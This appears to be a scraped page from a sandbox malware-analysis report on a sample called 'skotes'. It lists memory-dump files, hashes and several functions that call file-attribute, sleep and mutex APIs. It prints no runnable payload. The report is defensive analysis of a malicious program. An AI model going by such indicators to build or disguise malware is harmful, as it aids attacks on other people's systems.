Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7a0225a0ad2d1e41ed5d4838668a3d02f6b51f6062d6c7d5a2fd5930d3ab3f3b
Instruction ID: e447e7f45dff77f345ea3a9793de894752b31a707aa94f7033b13fc298205595
Opcode Fuzzy Hash: 7a0225a0ad2d1e41ed5d4838668a3d02f6b51f6062d6c7d5a2fd5930d3ab3f3b
Instruction Fuzzy Hash: 4B316A716042449BEF089B7CDD85BEEB7A2EBC1318F289228E425F72D5C77699818712

Function 00EBA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA41B
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: dc58f541f791f0dac666b17f2a62a3a98f234007e1bdbd43a99c169e89578f77
Instruction ID: 4daa19091ef0669ba64038e7057e131a85a85d9e60b5131e485be7c70cccae69
Opcode Fuzzy Hash: dc58f541f791f0dac666b17f2a62a3a98f234007e1bdbd43a99c169e89578f77
Instruction Fuzzy Hash: E8313B716041449BEF089B78DD89BEEB6A1EBC1318F286238E024F72D5C77659818652

Function 00EBA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA550
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 91d00fd1e1e561b96730057a2143f5321f625efa54c447f5ccee97d9af4aad50
Instruction ID: 866b4f18dcdfeb089fc2b86996fd5a6642ea0c0d9cbc6a3365ccc7d2cc90e609
Opcode Fuzzy Hash: 91d00fd1e1e561b96730057a2143f5321f625efa54c447f5ccee97d9af4aad50
Instruction Fuzzy Hash: 56316C716051448BEF18DB78DD89BEEB7A2EBC1318F28523CE014F72D5CB3599819712

Function 00EBA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA685
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b4f22d0bfa5f0a6452d9ec214c903df8d68e57baa427f1f4d276304353dc3f76
Instruction ID: 31e7607c5c8475d4753525416cd900419a634fbb11fab01d05b674744f743235
Opcode Fuzzy Hash: b4f22d0bfa5f0a6452d9ec214c903df8d68e57baa427f1f4d276304353dc3f76
Instruction Fuzzy Hash: 19316A716041449BEF18DB78DDC9BEEB7A2EBC1314F289238E024F72D5CB3699818652

Function 00EBA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA7BA
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
